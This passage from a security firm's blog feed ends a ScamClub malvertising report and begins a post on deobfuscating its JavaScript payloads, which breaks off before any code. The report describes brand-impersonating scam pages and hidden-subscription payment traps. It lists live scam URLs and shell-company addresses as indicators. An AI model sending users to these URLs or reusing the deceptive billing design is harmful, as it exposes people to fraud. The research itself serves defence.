4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>after the victim fills the form and submits, the victim is brought to a new host which the entities represented on the payment page load dynamically. We can see this easiest by submitting the form multiple times. After we do, we are brought to many different payment pages that do not point to a single entity.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hSow!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hSow!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png 424w, https://substackcdn.com/image/fetch/$s_!hSow!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png 848w, https://substackcdn.com/image/fetch/$s_!hSow!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png 1272w, https://substackcdn.com/image/fetch/$s_!hSow!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hSow!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png" width="1000" height="591" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:591,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:188237,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hSow!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png 424w, https://substackcdn.com/image/fetch/$s_!hSow!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png 848w, https://substackcdn.com/image/fetch/$s_!hSow!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png 1272w, https://substackcdn.com/image/fetch/$s_!hSow!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5ef7f44-45d6-4dd6-aaa7-ca2c43d20983_1000x591.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!frFi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!frFi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png 424w, https://substackcdn.com/image/fetch/$s_!frFi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png 848w, https://substackcdn.com/image/fetch/$s_!frFi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png 1272w, https://substackcdn.com/image/fetch/$s_!frFi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!frFi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png" width="1000" height="464" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:464,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:208870,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!frFi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png 424w, https://substackcdn.com/image/fetch/$s_!frFi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png 848w, https://substackcdn.com/image/fetch/$s_!frFi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png 1272w, https://substackcdn.com/image/fetch/$s_!frFi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8039421-3e3d-423a-9e33-fc4e2949c86a_1000x464.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-ajQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-ajQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png 424w, https://substackcdn.com/image/fetch/$s_!-ajQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png 848w, https://substackcdn.com/image/fetch/$s_!-ajQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png 1272w, https://substackcdn.com/image/fetch/$s_!-ajQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-ajQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png" width="1000" height="428" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:428,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:154253,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-ajQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png 424w, https://substackcdn.com/image/fetch/$s_!-ajQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png 848w, https://substackcdn.com/image/fetch/$s_!-ajQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png 1272w, https://substackcdn.com/image/fetch/$s_!-ajQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e0729f4-1d85-40b2-b749-5c5b9d26cebd_1000x428.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>getiqbrain.com</em> is the domain of the payment page in two of the three screen shots but the entity name as well as address on the two pages are different.</p><h4>Deceptive Practices</h4><p>While going through ScamClub&#8217;s business partners Terms and Condition policy, I found that they are not a one time purchases and rather a subscription with hidden details. Reading the policy you will find the purchase is for a trial period of a subscription based service. By accepting the trial, you are subscribing to the service unless you cancel within the trial period. These entities charge the victim a low amount like 2&#8211;5$ for a three day trial. A charge of ~50$ is made after the trial ends and will this charge will reoccur again every two weeks or a month.</p><p>You would not be able to tell what you are buying from these entities pages based upon what you see without clicking and reading the policy. The pages are intentionally misleading to its victims. The detail about the purchase being for a trial that furthers them into a costly subscription is hidden in fine text or in its policy agreement. This results in victims believing they paid for a one time purchase, when in reality they have agreed to pay for a subscription. The payment model of the subscription exploits the victims being unaware of the purchase by having reoccurring payments that increase.</p><h3><strong>Conclusions</strong></h3><p>ScamClub serves malicious ads which forcefully redirect the victim&#8217;s browser to a page that deceives them into believing they won a prize they must pay a small fee for or they have malware that requires a paid service to fix. The claims are false and ScamClub&#8217;s landing pages impersonate brands including Google, T-Mobile, Xfinity, Wind, and more to lead the victim into to believe its claims. After they click through ScamClub&#8217;s landing page, they are brought to the entities landing page to enter more details including payment information. The victims in the end purchase something from the entity completely unrelated to the promises on ScamClub&#8217;s landing page. The entities ScamClub is in business with misrepresent the payment page as a one time payment, when the purchase initiates a subscription with routine payments which increase in price. This purchase results in profits for ScamClub because they get payed for the victims they direct towards their business partners offers.</p><h3>Appendix A&#8202;&#8212;&#8202;ScamClub Landing Page URLs</h3><blockquote><p>http://neonaturaleco.top/bonus/com-africa-8811/za-lp2.php?c=4rz79n4hz69z1&amp;k=a9faa70c7bb0ada3576fcb0378cb10ce</p><p>http://eu.cybershieldscan.monster/fr/dt/mcafee-2.php?c=4gz16j7gbz0z5&amp;k=63baa3498e555cfa43522f69b1100c06&amp;1696607985</p><p>http://goodthingsperday.space/bonus/com-it-7891/lp2.php?c=4gz16jck0z0z0&amp;k=0b071542eb148035915323d54fd299b8</p></blockquote><h3>Appendix B &#8212;Entity Landing Page URLs</h3><blockquote><p>https://bestooffersfinder.net/l/EOsWwcmxJsvAJnneHVqo?offer_id=10253&amp;p_id=&amp;s1=10246fe8a5ecc6a2365ac0539ad560&amp;s2=1043&amp;s3=16507&amp;s4=#rafl&amp;%23nt</p><p>https://letsgame.site/l/OOMVVLNP1K0xDIw77Oas/payment?token=eyJpdiI6IkxzenFDeUVMTjkyZnBaWVVqREFLY2c9PSIsInZhbHVlIjoibUMvL3ZMaFlJUkF5WmhxK0hMa08rOTJPeWwwdU1ZcnZSQjVTMHp6Q3E2WT0iLCJtYWMiOiI2M2EzMjEyMWJiYWY2YzViNzg4MzAyNzA5N2NmMjIxODg4Y2FkYWNlMWE2MDI1MGIzNWE1ZGJmYjI2OGVmYjY2IiwidGFnIjoiIn0%3D&amp;_luuid=39ef237f-8cf5-45f2-bf5d-d1e6873b1c24&amp;_sid=eyJpdiI6Im1EdjRkS2N6QzFadzlIaWdRUzdJUEE9PSIsInZhbHVlIjoid25Sa1N2TC9GdENrRjgxVUE1dEJGLzViSlBGMXdIWnhsbVZoRmdiU2FiZDd3TXp1ei80NmdSS0txTzMxVTBrNVgweDNwMHMvbU5YVlhodHAxdk9LZ0E9PSIsIm1hYyI6IjI1MGExZmMxOGM4YmE5MTZmM2I3MTlkMGQ0NWU3ZjVlNjBhMmNkNmQ4Y2VhODI2NWFiNDc3YmEyMjBiOWU4NjkiLCJ0YWciOiIifQ%3D%3D</p><p>https://gogaming.vip/r/vn9xLJXwsS2hhcObc/d5b3c76a-a77a-4ca0-93f8-c3343fe36299/payment?token=eyJpdiI6IlRIYitqai81ZERrSDhXUGZhbUlnTEE9PSIsInZhbHVlIjoiZ29QSW4vREdOcVRXUXdvK2prdks3WmZReXlRTGFnN3lVTmRMcDFuZVQ0bz0iLCJtYWMiOiIyOGQ5ZGM4YjhjN2YxMzQ3Mjk5YTE5N2Q2YjViZWUyZWNmYmNiYjA2NWFlYTQwNmI3MGM5YTBmYTFlOGZiNDhhIiwidGFnIjoiIn0%3D&amp;_luuid=c3b1034c-f701-48c8-8a4b-b2dc6abc1af5&amp;_sid=eyJpdiI6IjZDMS92VDFCeEd2Z096NGtwVitsUXc9PSIsInZhbHVlIjoiOElGWC9tWWJLOE9KYlZ4dVRKK0E1TmFpcTRxS2ROaVN6YVRMZVhDRGFVbmFaZmg1dVRmLzl3ZWhSSmEvMitSQm1BRjM5dm0rNTE0NG1CSG90dFVKUkE9PSIsIm1hYyI6IjQyOWM4YWUxNzU1ZjhiZDFhMGQyYWIwNDdhNTg4NDY2YTYxZmRkMTQxMzhiMTJlZThmMmZlNjI2MzU3NDdjMGQiLCJ0YWciOiIifQ%3D%3D#payment-section</p></blockquote><h3>Appendix C&#8212; Entities</h3><blockquote><p>RPPRO LLC. Found via osint(1309 Coffeen Avenue STE 1200 Sheridan, Wyoming 82801, US)</p><p>Crative Peace Makings LLC. Found via osint(2847 S INGRAM MILL RD, STE A100, SPRINGFIELD, MO, 65804)</p><p>Martway limited, kosta xenofontos 5, lakatamia, 2335, nicosia, cyprus.</p><p>Etronik llc, 4758 ridge road # 110 brooklyn oh 44144.</p><p>Ckop llc, 2710 del prado blvd. s#2&#8211;274 cape coral, fl. us 33904.</p></blockquote><pre><code>
</code></pre>]]></content:encoded></item><item><title><![CDATA[Exploring ScamClub Payloads via Deobfuscation Using Abstract Syntax Trees]]></title><description><![CDATA[ScamClub is a prolific threat actor in the programmatic ad space known to carry out large-scale attacks with the purpose of scamming and defrauding their victims.]]></description><link>https://blog.confiant.com/p/exploring-scamclub-payloads-via-deobfuscation-using-abstract-syntax-trees-65ef7f412537</link><guid isPermaLink="false">https://blog.confiant.com/p/exploring-scamclub-payloads-via-deobfuscation-using-abstract-syntax-trees-65ef7f412537</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Wed, 27 Sep 2023 21:38:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!NTVG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NTVG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NTVG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg 424w, https://substackcdn.com/image/fetch/$s_!NTVG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg 848w, https://substackcdn.com/image/fetch/$s_!NTVG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!NTVG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NTVG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg" width="875" height="583" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:583,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!NTVG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg 424w, https://substackcdn.com/image/fetch/$s_!NTVG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg 848w, https://substackcdn.com/image/fetch/$s_!NTVG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!NTVG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf6abbff-6d4b-4e74-acf9-a519847f6ba4_875x583.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Originally written by <strong>BOZOSLIVEHERE</strong></em></p><h2><strong>Introduction</strong></h2><p>ScamClub is a prolific threat actor in the programmatic ad space known to carry out large-scale attacks with the purpose of scamming and defrauding their victims. ScamClub utilizes real-time bidding (RTB) integration with ad exchanges to push malicious JavaScript payloads upstream to their potential victims. These payloads attempt to forcefully redirect victims to any number of fraudulent pages such as phishing pages, gift card scams, giveaway scams, and more. More information about the ScamClub threat landscape and their modus operandi can be found in the <a href="https://www.confiant.com/news/scamclub-threat-intelligence-report-q1-q2-2023#threat-anchor">ScamClub threat report</a>.</p><p>In this article, we&#8217;ll go over the de-obfuscation of the short version of the ScamClub stage two payload.</p><h2><strong>Payload Analysis</strong></h2><p>The ScamClub payloads come in three stages. The first stage is the creative, which is only lightly obfuscated and leads to the second stage &#8212; a payload that does the fingerprinting of potential victims to determine whether or not to continue with the forced redirects. The second stage of the ScamClub payloads comes in two distinct versions: short and long. The longer version of the payload contains everything present in the short version with some additional fingerprinting techniques. Interestingly, the long version of the payload has certain fingerprinting functions implemented but never called. In addition, the fingerprinting functions present in the short version are expanded upon to improve detection of security products or other evidence that the payload is being analyzed by an 